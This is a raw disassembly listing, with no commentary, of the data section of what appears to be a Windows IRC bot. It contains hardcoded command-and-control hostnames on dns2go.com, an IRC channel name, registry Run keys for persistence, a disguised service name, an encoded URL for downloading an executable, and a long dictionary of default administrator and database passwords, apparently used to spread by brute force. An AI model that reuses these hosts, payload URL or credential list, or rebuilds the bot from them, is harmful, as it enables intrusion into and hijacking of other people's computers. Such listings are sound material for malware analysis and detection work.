		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(255F2F78h), 5 dup(23161BBAh), 75h dup(0)
		dd 23161BBAh, 15h dup(0)
		dd 255F2F78h, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset byte_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
